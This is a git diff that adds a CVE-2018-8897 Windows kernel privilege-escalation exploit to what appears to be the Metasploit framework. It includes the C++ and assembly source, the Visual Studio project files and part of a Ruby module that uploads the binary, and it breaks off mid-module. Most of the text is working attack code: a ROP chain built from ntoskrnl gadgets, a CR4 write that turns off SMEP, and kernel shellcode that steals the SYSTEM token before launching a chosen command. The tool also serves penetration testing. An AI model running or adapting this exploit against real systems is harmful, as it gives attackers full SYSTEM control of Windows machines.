!Np_TryIncreaseWorkingSetSize( 0x2000 ) ) + return FALSE; + return VirtualLock( Page, 0x1000 ); +} + +static BOOL Np_LockRange( PVOID From, PVOID To ) +{ + PBYTE FromPageAligned = ( PBYTE ) ( ( uintptr_t ) ( From ) & ( ~0xFFF ) ); + PBYTE ToPageAligned = ( PBYTE ) ( ( uintptr_t ) ( To ) & ( ~0xFFF ) ); + + for ( PBYTE Current = FromPageAligned; Current <= ToPageAligned; Current += 0x1000 ) + { + if ( !Np_TryLockPage( Current ) ) + { + printf( "[+] Failed locking %16llx!\n", Current ); + return FALSE; + } + else + { + printf( "[+] Locked %16llx successfully!\n", From ); + } + } + return TRUE; +} + +static BOOL Np_LockSections() +{ + printf( "[+] .LDATA: %16llx -> %16llx!\n", &Np_DataStart, &Np_DataEnd ); + printf( "[+] .LTEXT: %16llx -> %16llx!\n", &Np_TextStart, &Np_TextEnd ); + + return + Np_LockRange( &Np_DataStart, &Np_DataEnd ) && + Np_LockRange( &Np_TextStart, &Np_TextEnd ); +} diff --git a/external/source/exploits/cve-2018-8897-exe/Native.asm b/external/source/exploits/cve-2018-8897-exe/Native.asm new file mode 100644 index 0000000000..5797fe7e01 --- /dev/null +++ b/external/source/exploits/cve-2018-8897-exe/Native.asm @@ -0,0 +1,146 @@ +.code + __swapgs PROC + swapgs + ret + __swapgs ENDP + + __rollback_isr PROC + mov rdx, [rsp] ; rdx = Return pointer + lea r8, [rsp+8h] ; r8 = Old stack + mov [rcx], rdx ; isr stack.rip = Return pointer + mov [rcx+18h], r8 ; isr stack.rsp = Old stack + mov rsp, rcx ; stack = isr stack + iretq ; return + __rollback_isr ENDP + + __set_gs_base PROC + wrgsbase rcx + ret + __set_gs_base ENDP + + __readss PROC + xor eax, eax + mov ax, ss + ret + __readss ENDP + + __read_gs_base PROC + rdgsbase rax + ret + __read_gs_base ENDP + + __triggervuln PROC + mov [rcx+8*0], r12 ; save registers + mov [rcx+8*1], r13 + mov [rcx+8*2], r14 + mov [rcx+8*3], r15 + mov [rcx+8*4], rdi + mov [rcx+8*5], rsi + mov [rcx+8*6], rbx + mov [rcx+8*7], rbp + mov [rcx+8*8], rsp + pushfq + pop [rcx+8*9] + + mov ss, word ptr [rdx] ; Defer debug exception + int 3 ; Execute with interrupts disabled + nop + nop + nop + nop + + mov r12, [rcx+8*0] ; load registers + mov r13, [rcx+8*1] + mov r14, [rcx+8*2] + mov r15, [rcx+8*3] + mov rdi, [rcx+8*4] + mov rsi, [rcx+8*5] + mov rbx, [rcx+8*6] + mov rbp, [rcx+8*7] + mov rsp, [rcx+8*8] + push [rcx+8*9] + popfq + ret + __triggervuln ENDP + + + __setxmm0 PROC + movups xmm0, [rcx] + ret + __setxmm0 ENDP + + __setxmm1 PROC + movups xmm1, [rcx] + ret + __setxmm1 ENDP + + __setxmm2 PROC + movups xmm2, [rcx] + ret + __setxmm2 ENDP + + __setxmm3 PROC + movups xmm3, [rcx] + ret + __setxmm3 ENDP + + __setxmm4 PROC + movups xmm4, [rcx] + ret + __setxmm4 ENDP + + __setxmm5 PROC + movups xmm5, [rcx] + ret + __setxmm5 ENDP + + __setxmm6 PROC + movups xmm6, [rcx] + ret + __setxmm6 ENDP + + __setxmm7 PROC + movups xmm7, [rcx] + ret + __setxmm7 ENDP + + __setxmm8 PROC + movups xmm8, [rcx] + ret + __setxmm8 ENDP + + __setxmm9 PROC + movups xmm9, [rcx] + ret + __setxmm9 ENDP + + __setxmm10 PROC + movups xmm10, [rcx] + ret + __setxmm10 ENDP + + __setxmm11 PROC + movups xmm11, [rcx] + ret + __setxmm11 ENDP + + __setxmm12 PROC + movups xmm12, [rcx] + ret + __setxmm12 ENDP + + __setxmm13 PROC + movups xmm13, [rcx] + ret + __setxmm13 ENDP + + __setxmm14 PROC + movups xmm14, [rcx] + ret + __setxmm14 ENDP + + __setxmm15 PROC + movups xmm15, [rcx] + ret + __setxmm15 ENDP +end diff --git a/external/source/exploits/cve-2018-8897-exe/Native.h b/external/source/exploits/cve-2018-8897-exe/Native.h new file mode 100644 index 0000000000..e3383a06d0 --- /dev/null +++ b/external/source/exploits/cve-2018-8897-exe/Native.h @@ -0,0 +1,30 @@ +#pragma once +#include +#include + +extern "C" +{ + void __setxmm0( BYTE* ); + void __setxmm1( BYTE* ); + void __setxmm2( BYTE* ); + void __setxmm3( BYTE* ); + void __setxmm4( BYTE* ); + void __setxmm5( BYTE* ); + void __setxmm6( BYTE* ); + void __setxmm7( BYTE* ); + void __setxmm8( BYTE* ); + void __setxmm9( BYTE* ); + void __setxmm10( BYTE* ); + void __setxmm11( BYTE* ); + void __setxmm12( BYTE* ); + void __setxmm13( BYTE* ); + void __setxmm14( BYTE* ); + void __setxmm15( BYTE* ); + + void __swapgs(); + uint16_t __readss(); + PVOID __read_gs_base(); + void __set_gs_base( PVOID GsBase ); + void __rollback_isr( uint64_t IsrStack ); + void __triggervuln( PVOID RegSave, PVOID Abc ); +}; diff --git a/external/source/exploits/cve-2018-8897-exe/NtDefines.h b/external/source/exploits/cve-2018-8897-exe/NtDefines.h new file mode 100644 index 0000000000..f2c981e591 --- /dev/null +++ b/external/source/exploits/cve-2018-8897-exe/NtDefines.h @@ -0,0 +1,72 @@ +#pragma once +#include + +#pragma pack(push, 8) +typedef struct _SYSTEM_MODULE_ENTRY +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[ 256 ]; +} SYSTEM_MODULE_ENTRY, *PSYSTEM_MODULE_ENTRY; + +typedef struct _SYSTEM_MODULE_INFORMATION +{ + ULONG Count; + SYSTEM_MODULE_ENTRY Module[ 0 ]; +} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; + +typedef struct _UNICODE_STRING +{ + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING; + +typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION +{ + struct + { + ULONG KvaShadowEnabled : 1; + ULONG KvaShadowUserGlobal : 1; + ULONG KvaShadowPcid : 1; + ULONG KvaShadowInvpcid : 1; + ULONG Reserved : 28; + } KvaShadowFlags; +} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, *PSYSTEM_KERNEL_VA_SHADOW_INFORMATION; + +typedef UNICODE_STRING *PUNICODE_STRING; +#pragma pack(pop) + +#define NtCurrentProcess() ( HANDLE(-1) ) +#define SeLoadDriverPrivilege 10ull +#define SystemModuleInformation 0xBull +#define SystemKernelVaShadowInformation 196ull +#define AdjustCurrentProcess 0ull +#define STATUS_SUCCESS 0 + +using fnFreeCall = uint64_t( __fastcall* )( ... ); + +template +static NTSTATUS __NtRoutine( const char* Name, Params &&... params ) +{ + auto fn = ( fnFreeCall ) GetProcAddress( GetModuleHandleA( "ntdll.dll" ), Name ); + return fn( std::forward( params ) ... ); +} + +#define NtQuerySystemInformation(...) __NtRoutine("NtQuerySystemInformation", __VA_ARGS__) +#define RtlAdjustPrivilege(...) __NtRoutine("RtlAdjustPrivilege", __VA_ARGS__) +#define NtUnloadDriver(...) __NtRoutine("NtUnloadDriver", __VA_ARGS__) +#define NtLoadDriver(...) __NtRoutine("NtLoadDriver", __VA_ARGS__) + +static BOOL AcquirePrivilege( DWORD Privilage, DWORD Proc ) +{ + BOOLEAN Enabled = 0; + return !RtlAdjustPrivilege( Privilage, 1ull, Proc, &Enabled ) || Enabled; +} diff --git a/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.cpp b/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.cpp new file mode 100755 index 0000000000..4275bc74b4 --- /dev/null +++ b/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.cpp @@ -0,0 +1,387 @@ +#include +#include +#include +#include "KernelRoutines.h" +#include "LockedMemory.h" +#include "Native.h" +#include "Error.h" + +struct ISR_STACK +{ + uint64_t RIP; + uint64_t CS; + uint64_t EF; + uint64_t RSP; +}; + +// Doensn't really change +static const uint32_t Offset_Pcr__Self = 0x18; +static const uint32_t Offset_Pcr__CurrentPrcb = 0x20; +static const uint32_t Offset_Pcr__Prcb = 0x180; +static const uint32_t Offset_Prcb__CurrentThread = 0x8; +static const uint32_t Offset_Context__XMM13 = 0x270; +static const uint32_t MxCsr__DefVal = 0x1F80; +static const uint32_t Offset_Prcb__RspBase = 0x28; +static const uint32_t Offset_KThread__InitialStack = 0x28; +static const uint32_t Offset_Prcb__Cr8 = 0x100 + 0xA0; +static const uint32_t Offset_Prcb__Cr4 = 0x100 + 0x18; + +// Requires patterns +NON_PAGED_DATA static uint32_t Offset_Prcb__Context = 0x0; // @KeBugCheckEx +NON_PAGED_DATA static uint32_t Offset_KThread__ApcStateFill__Process = 0x0; // @PsGetCurrentProcess + +NON_PAGED_DATA uint64_t ContextBackup[ 10 ]; + +NON_PAGED_DATA fnFreeCall k_PsDereferencePrimaryToken = 0; +NON_PAGED_DATA fnFreeCall k_PsReferencePrimaryToken = 0; +NON_PAGED_DATA fnFreeCall k_PsGetCurrentProcess = 0; +NON_PAGED_DATA uint64_t* k_PsInitialSystemProcess = 0; + +NON_PAGED_DATA fnFreeCall k_ExAllocatePool = 0; + +using fnIRetToVulnStub = void( * )( uint64_t Cr4, uint64_t IsrStack, PVOID ContextBackup ); +NON_PAGED_DATA BYTE IRetToVulnStub[] = +{ + 0x0F, 0x22, 0xE1, // mov cr4, rcx ; cr4 = original cr4 + 0x48, 0x89, 0xD4, // mov rsp, rdx ; stack = isr stack + 0x4C, 0x89, 0xC1, // mov rcx, r8 ; rcx = ContextBackup + 0xFB, // sti ; enable interrupts + 0x48, 0x31, 0xC0, // xor rax, rax ; lower irql to passive_level + 0x44, 0x0F, 0x22, 0xC0, // mov cr8, rax + 0x48, 0xCF // iretq ; interrupt return +}; + +NON_PAGED_DATA uint64_t PredictedNextRsp = 0; +NON_PAGED_DATA ptrdiff_t StackDelta = 0; + +NON_PAGED_CODE void KernelShellcode() +{ + __writedr( 7, 0 ); + + uint64_t Cr4Old = __readgsqword( Offset_Pcr__Prcb + Offset_Prcb__Cr4 ); + __writecr4( Cr4Old & ~( 1 << 20 ) ); + + __swapgs(); + + // Uncomment if it bugchecks to debug: + // __writedr( 2, StackDelta ); + // __writedr( 3, PredictedNextRsp ); + // __debugbreak(); + // ^ This will let you see StackDelta and RSP clearly in a crash dump so you can check where the process went bad + + uint64_t IsrStackIterator = PredictedNextRsp - StackDelta - 0x38; + + // Unroll nested KiBreakpointTrap -> KiDebugTrapOrFault -> KiTrapDebugOrFault + while ( + ( ( ISR_STACK* ) IsrStackIterator )->CS == 0x10 && + ( ( ISR_STACK* ) IsrStackIterator )->RIP > 0x7FFFFFFEFFFF ) + { + + __rollback_isr( IsrStackIterator ); + + // We are @ KiBreakpointTrap -> KiDebugTrapOrFault, which won't follow the RSP Delta + if ( ( ( ISR_STACK* ) ( IsrStackIterator + 0x30 ) )->CS == 0x33 ) + { + /* + fffff00e`d7a1bc38 fffff8007e4175c0 nt!KiBreakpointTrap + fffff00e`d7a1bc40 0000000000000010 + fffff00e`d7a1bc48 0000000000000002 + fffff00e`d7a1bc50 fffff00ed7a1bc68 + fffff00e`d7a1bc58 0000000000000000 + fffff00e`d7a1bc60 0000000000000014 + fffff00e`d7a1bc68 00007ff7e2261e95 -- + fffff00e`d7a1bc70 0000000000000033 + fffff00e`d7a1bc78 0000000000000202 + fffff00e`d7a1bc80 000000ad39b6f938 + */ + IsrStackIterator = IsrStackIterator + 0x30; + break; + } + + IsrStackIterator -= StackDelta; + } + + + PVOID KStub = ( PVOID ) k_ExAllocatePool( 0ull, ( uint64_t )sizeof( IRetToVulnStub ) ); + Np_memcpy( KStub, IRetToVulnStub, sizeof( IRetToVulnStub ) ); + + // ------ KERNEL CODE ------ + + uint64_t SystemProcess = *k_PsInitialSystemProcess; + uint64_t CurrentProcess = k_PsGetCurrentProcess(); + + uint64_t CurrentToken = k_PsReferencePrimaryToken( CurrentProcess ); + uint64_t SystemToken = k_PsReferencePrimaryToken( SystemProcess ); + + for ( int i = 0; i < 0x500; i += 0x8 ) + { + uint64_t Member = *( uint64_t * ) ( CurrentProcess + i ); + + if ( ( Member & ~0xF ) == CurrentToken ) + { + *( uint64_t * ) ( CurrentProcess + i ) = SystemToken; + break; + } + } + + + k_PsDereferencePrimaryToken( CurrentToken ); + k_PsDereferencePrimaryToken( SystemToken ); + + // ------ KERNEL CODE ------ + + __swapgs(); + + ( ( ISR_STACK* ) IsrStackIterator )->RIP += 1; + ( fnIRetToVulnStub( KStub ) )( Cr4Old, IsrStackIterator, ContextBackup ); +} + +PUCHAR AllocateLockedMemoryForKernel( SIZE_T Sz ) +{ + PUCHAR Va = ( PUCHAR ) VirtualAlloc( 0, Sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ); + ZeroMemory( Va, Sz ); + for ( int i = 0; i < Sz; i += 0x1000 ) + Np_TryLockPage( Va + i ); + return Va; +} + +int main(int argc, char *argv[]) +{ + if (argc < 2){ + return 0; + } + // Pre-init checks: KVA Shadow + SYSTEM_KERNEL_VA_SHADOW_INFORMATION KvaInfo = { 0 }; + if ( !NtQuerySystemInformation( SystemKernelVaShadowInformation, &KvaInfo, ( uint64_t ) sizeof( KvaInfo ), 0ull ) ) + assert( !KvaInfo.KvaShadowFlags.KvaShadowEnabled ); + + // Initialization: Memory allocation, locking sections, loading nt + SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xA ); + + assert( Np_LockSections() ); + assert( Np_TryLockPage( &__rollback_isr ) ); + assert( Np_TryLockPage( &__swapgs ) ); + + KernelContext* KrCtx = Kr_InitContext(); + assert( KrCtx ); + + static PUCHAR Pcr = AllocateLockedMemoryForKernel( 0x10000 ); + static PUCHAR KThread = AllocateLockedMemoryForKernel( 0x10000 ); + static PUCHAR KProcess = AllocateLockedMemoryForKernel( 0x10000 ); + static PUCHAR Prcb = Pcr + Offset_Pcr__Prcb; + + + // Offsets: Finding offsets and ROP gadgets + SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xB ); + + PIMAGE_DOS_HEADER DosHeader = ( PIMAGE_DOS_HEADER ) KrCtx->NtLib; + PIMAGE_NT_HEADERS FileHeader = ( PIMAGE_NT_HEADERS ) ( ( uint64_t ) DosHeader + DosHeader->e_lfanew ); + PIMAGE_SECTION_HEADER SectionHeader = ( PIMAGE_SECTION_HEADER ) ( ( ( uint64_t ) &FileHeader->OptionalHeader ) + FileHeader->FileHeader.SizeOfOptionalHeader ); + while ( _strcmpi( ( char* ) SectionHeader->Name, ".text" ) ) SectionHeader++; + + uint64_t AdrRetn = 0; + uint64_t AdrPopRcxRetn = 0; + uint64_t AdrSetCr4Retn = 0; + + PUCHAR NtBegin = ( PUCHAR ) KrCtx->NtLib + SectionHeader->VirtualAddress; + PUCHAR NtEnd = NtBegin + SectionHeader->Misc.VirtualSize; + + // Find [RETN] + for ( PUCHAR It = NtBegin; It < NtEnd; It++ ) + { + if ( It[ 0 ] == 0xC3 ) + { + AdrRetn = It - ( PUCHAR ) KrCtx->NtLib + KrCtx->NtBase; + break; + } + } + + // Find [POP RCX; RETN] + for ( PUCHAR It = NtBegin; It < NtEnd; It++ ) + { + if ( It[ 0 ] == 0x59 && It[ 1 ] == 0xC3 ) + { + AdrPopRcxRetn = It - ( PUCHAR ) KrCtx->NtLib + KrCtx->NtBase; + break; + } + } + + // Find [MOV CR4, RCX; RETN] + for ( PUCHAR It = NtBegin; It < NtEnd; It++ ) + { + if ( It[ 0 ] == 0x0F && It[ 1 ] == 0x22 && + It[ 2 ] == 0xE1 && It[ 3 ] == 0xC3 ) + { + AdrSetCr4Retn = It - ( PUCHAR ) KrCtx->NtLib + KrCtx->NtBase; + break; + } + } + + printf( "[+] [RETN] Gadget @ %16llx\n", AdrRetn ); + printf( "[+] [POP RCX; RETN] Gadget @ %16llx\n", AdrPopRcxRetn ); + printf( "[+] [MOV CR4, RCX; RETN] Gadget @ %16llx\n", AdrSetCr4Retn ); + + assert( AdrRetn ); + assert( AdrPopRcxRetn ); + assert( AdrSetCr4Retn ); + + PUCHAR UPsGetCurrentProcess = ( PUCHAR ) GetProcAddress( KrCtx->NtLib, "PsGetCurrentProcess" ); + PUCHAR UKeBugCheckEx = ( PUCHAR ) GetProcAddress( KrCtx->NtLib, "KeBugCheckEx" ); + + for ( int i = 0; i < 0x50; i++ ) + { + if ( UKeBugCheckEx[ i ] == 0x48 && UKeBugCheckEx[ i + 1 ] == 0x8B && // mov rax, + UKeBugCheckEx[ i + 7 ] == 0xE8 ) // call + { + Offset_Prcb__Context = *( int32_t * ) ( UKeBugCheckEx + i + 3 ); + break; + } + } + + for ( int i = 0; i < 0x50; i++ ) + { + if ( UPsGetCurrentProcess[ i ] == 0x48 && UPsGetCurrentProcess[ i + 1 ] == 0x8B && // mov rax, + UPsGetCurrentProcess[ i + 7 ] == 0xC3 ) // retn + { + Offset_KThread__ApcStateFill__Process = *( int32_t * ) ( UPsGetCurrentProcess + i + 3 ); + break; + } + } + + SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xD ); + printf( "[+] Prcb.Context @ %16llx\n", Offset_Prcb__Context ); + printf( "[+] KThread.ApcStateFill.Process @ %16llx\n", Offset_KThread__ApcStateFill__Process ); + + assert( Offset_Prcb__Context ); + assert( Offset_KThread__ApcStateFill__Process ); + + // Setting up GSBASE + SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xC ); + + *( PVOID* ) ( Pcr + Offset_Pcr__Self ) = Pcr; // Pcr.Self + *( PVOID* ) ( Pcr + Offset_Pcr__CurrentPrcb ) = Pcr + Offset_Pcr__Prcb; // Pcr.CurrentPrcb + *( DWORD* ) ( Prcb ) = MxCsr__DefVal; // Prcb.MxCsr + *( PVOID* ) ( Prcb + Offset_Prcb__CurrentThread ) = KThread; // Prcb.CurrentThread + *( PVOID* ) ( Prcb + Offset_Prcb__Context ) = Prcb + 0x3000; // Prcb.Context, Placeholder + *( PVOID* ) ( KThread + Offset_KThread__ApcStateFill__Process ) = KProcess; // EThread.ApcStateFill.EProcess + *( PVOID* ) ( Prcb + Offset_Prcb__RspBase ) = (PVOID) 1; // Prcb.RspBase + *( PVOID* ) ( KThread + Offset_KThread__InitialStack ) = 0; // EThread.InitialStack + + printf( "[+] Finished setting up fake PCR!\n" ); + printf( "[+] Pcr @ %16llx\n", Pcr ); + printf( "[+] Prcb @ %16llx\n", Prcb ); + printf( "[+] EThread @ %16llx\n", KThread ); + printf( "[+] EProcess @ %16llx\n", KProcess ); + + NON_PAGED_DATA static DWORD SavedSS = __readss(); + + // Execute Exploit! + SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF ); + + HANDLE ThreadHandle = CreateThread( 0, 0, [ ] ( LPVOID ) -> DWORD + { + volatile PCONTEXT Ctx = *( volatile PCONTEXT* ) ( Prcb + Offset_Prcb__Context ); + + while ( !Ctx->Rsp ); // Wait for RtlCaptureContext to be called once so we get leaked RSP + uint64_t StackInitial = Ctx->Rsp; + while ( Ctx->Rsp == StackInitial ); // Wait for it to be called another time so we get the stack pointer difference + // between sequential KiDebugTrapOrFault's + StackDelta = Ctx->Rsp - StackInitial; + PredictedNextRsp = Ctx->Rsp + StackDelta; // Predict next RSP value when RtlCaptureContext is called + uint64_t NextRetPtrStorage = PredictedNextRsp - 0x8; // Predict where the return pointer will be located at + NextRetPtrStorage &= ~0xF; + *( uint64_t* ) ( Prcb + Offset_Prcb__Context ) = NextRetPtrStorage - Offset_Context__XMM13; + // Make RtlCaptureContext write XMM13-XMM15 over it + return 0; + }, 0, 0, 0 ); + + assert( ThreadHandle ); + printf( "\n- Created context watchdog\n" ); + printf( "- Thread Id: %16llx\n", ( HANDLE ) GetThreadId( ThreadHandle ) ); + + assert( SetThreadPriority( ThreadHandle, THREAD_PRIORITY_TIME_CRITICAL ) ); + printf( "- Elevated priority to: THREAD_PRIORITY_TIME_CRITICAL\n" ); + SetThreadAffinityMask( ThreadHandle, 0xFFFFFFFE ); + SetThreadAffinityMask( HANDLE( -2 ), 0x00000001 ); + printf( "- Seperated exploit and context watchdog processors\n" ); + + k_ExAllocatePool = KrCtx->GetProcAddress<>( "ExAllocatePool" ); + k_PsReferencePrimaryToken = KrCtx->GetProcAddress<>( "PsReferencePrimaryToken" ); + k_PsDereferencePrimaryToken = KrCtx->GetProcAddress<>( "PsDereferencePrimaryToken" ); + k_PsGetCurrentProcess = KrCtx->GetProcAddress<>( "PsGetCurrentProcess" ); + k_PsInitialSystemProcess = KrCtx->GetProcAddress( "PsInitialSystemProcess" ); + + printf( "\n" ); + printf( "- PsInitialSystemProcess: %16llx\n", k_PsInitialSystemProcess ); + printf( "- PsGetCurrentProcess: %16llx\n", k_PsGetCurrentProcess ); + printf( "- PsReferencePrimaryToken: %16llx\n", k_PsReferencePrimaryToken ); + printf( "- PsDereferencePrimaryToken: %16llx\n", k_PsDereferencePrimaryToken ); + printf( "- ExAllocatePool: %16llx\n", k_ExAllocatePool ); + printf( "\n" ); + + printf( "/--------------------------------------\\\n" ); + printf( "| Press any key to start exploit! |\n" ); + printf( "| Warning: This may bugcheck your PC. |\n" ); + printf( "\\--------------------------------------/\n" ); + //system( "pause>nul" ); + printf( "\n" ); + + CONTEXT Ctx = { 0 }; + Ctx.Dr0 = ( uint64_t ) &SavedSS; // Trap SS + Ctx.Dr1 = ( uint64_t ) Prcb + Offset_Prcb__Cr8; // Trap KiSaveProcessorControlState, Cr8 storage + Ctx.Dr7 = + ( 1 << 0 ) | ( 3 << 16 ) | ( 3 << 18 ) | // R/W, 4 Bytes, Active + ( 1 << 2 ) | ( 3 << 20 ) | ( 2 << 22 ); // W, 8 Bytes, Active + Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; + + printf( "[+] Setting up debug registers:\n" ); + SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xD ); + printf( "Dr0: %16llx [@SavedSS] (R/W, 4 Bytes, Active)\n", Ctx.Dr0 ); + printf( "Dr1: %16llx [@SpecialRegisters.CR4] (W, 8 Bytes, Active)\n", Ctx.Dr1 ); + SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF ); + assert( SetThreadContext( HANDLE( -2 ), &Ctx ) ); + printf( "\n" ); + + uint64_t RetnRetn[ 2 ] = { AdrRetn, AdrRetn }; + uint64_t PopRcxRetnRcx[ 2 ] = { AdrPopRcxRetn, 0x506f8 }; + uint64_t SetCr4Retn[ 2 ] = { AdrSetCr4Retn, ( uint64_t ) &KernelShellcode }; + + // RSP: + __setxmm13( ( BYTE* ) RetnRetn ); // &retn // we need to align xmm writes so two place holders just incase! + // &retn + __setxmm14( ( BYTE* ) PopRcxRetnRcx ); // &pop rcx + // 0x506f8 + __setxmm15( ( BYTE* ) SetCr4Retn ); // &mov cr4, rcx; retn + // &KernelShellcode + + printf( "[+] Built ROP Chain:\n" ); + SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xD ); + printf( "-- &retn; (%016llx)\n", RetnRetn[ 0 ] ); + printf( "-- &retn; (%016llx)\n", RetnRetn[ 1 ] ); + printf( "-- &pop rcx; retn; (%016llx)\n", PopRcxRetnRcx[ 0 ] ); + printf( "-- cr4_nosmep (%016llx)\n", PopRcxRetnRcx[ 1 ] ); + printf( "-- &mov cr4, rcx; retn; (%016llx)\n", SetCr4Retn[ 0 ] ); + printf( "-- &KernelShellcode (%016llx)\n", SetCr4Retn[ 1 ] ); + SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF ); + printf( "\n" ); + + + PVOID ProperGsBase = __read_gs_base(); + printf( "[+] Writing fake PCR as new GSBASE: %16llx\n", Pcr ); + printf( "[+] Defering debug exception...\n" ); + __set_gs_base( Pcr ); + __triggervuln( ContextBackup, &SavedSS ); // Let the fun begin + __set_gs_base( ProperGsBase ); + printf( "[+] Restored old GSBASE: %16llx\n", ProperGsBase ); + + SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xA ); + printf( "[+] Exploit successful!\n\n" ); + + + SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF ); + printf( "/------------------------------------------\\\n" ); + printf( "| Press any key to launch a system console |\n" ); + printf( "\\------------------------------------------/" ); + //system( "pause>nul" ); + system( argv[1] ); +} diff --git a/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.sln b/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.sln new file mode 100755 index 0000000000..217673bcdc --- /dev/null +++ b/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2018-8897-exe", "cve-2018-8897-exe.vcxproj", "{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Debug|Win32.ActiveCfg = Debug|Win32 + {270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Debug|Win32.Build.0 = Debug|Win32 + {270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Release|Win32.ActiveCfg = Release|x64 + {270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Release|Win32.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.vcxproj b/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.vcxproj new file mode 100755 index 0000000000..c124b891dd --- /dev/null +++ b/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.vcxproj @@ -0,0 +1,160 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + + + + + + + + + + + + + + {270A69FF-C7BA-433D-9AF0-F16DED29C5DB} + Win32Proj + cve20188897exe + + + + Application + true + v120 + Unicode + + + Application + true + v120 + Unicode + + + Application + false + v120 + true + Unicode + + + Application + false + v120 + true + Unicode + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + + + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + + + Console + true + + + + + + + Level3 + Disabled + WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + + + Console + true + + + + + Level3 + + + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + + + Console + true + true + true + + + + + Level3 + + + MaxSpeed + true + true + WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions) + MultiThreaded + + + Console + true + true + true + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.vcxproj.filters b/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.vcxproj.filters new file mode 100755 index 0000000000..1c3f77bb1c --- /dev/null +++ b/external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.vcxproj.filters @@ -0,0 +1,44 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + + + Source Files + + + + + Source Files + + + \ No newline at end of file diff --git a/modules/exploits/windows/local/cve-2018-8897-exe.rb b/modules/exploits/windows/local/cve-2018-8897-exe.rb new file mode 100644 index 0000000000..665985bf35 --- /dev/null +++ b/modules/exploits/windows/local/cve-2018-8897-exe.rb @@ -0,0 +1,137 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/windows/priv' +require 'msf/core/post/windows/registry' +require 'msf/core/exploit/exe' + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Windows Kernel Elevation of Privilege Vulnerability', + 'Description' => %q{ + This module will upload a precompiled binary that uses CVE-2018-8897 + to elevate a second binary's privs.) + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Can Bölük ', # PoC + 'bwatters-r7' # msf module + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'Targets' => [ [ 'Windows', {} ] ], + 'DefaultTarget' => 0, + 'DisclosureDate' => "May 08 2018", + 'DefaultOptions' => + { + 'DisablePayloadHandler' => 'False' + } + )) + + register_options([ + OptString.new('EXPLOIT_NAME', + [false, 'The filename to use for the exploit binary (%RAND% by default).', nil]), + 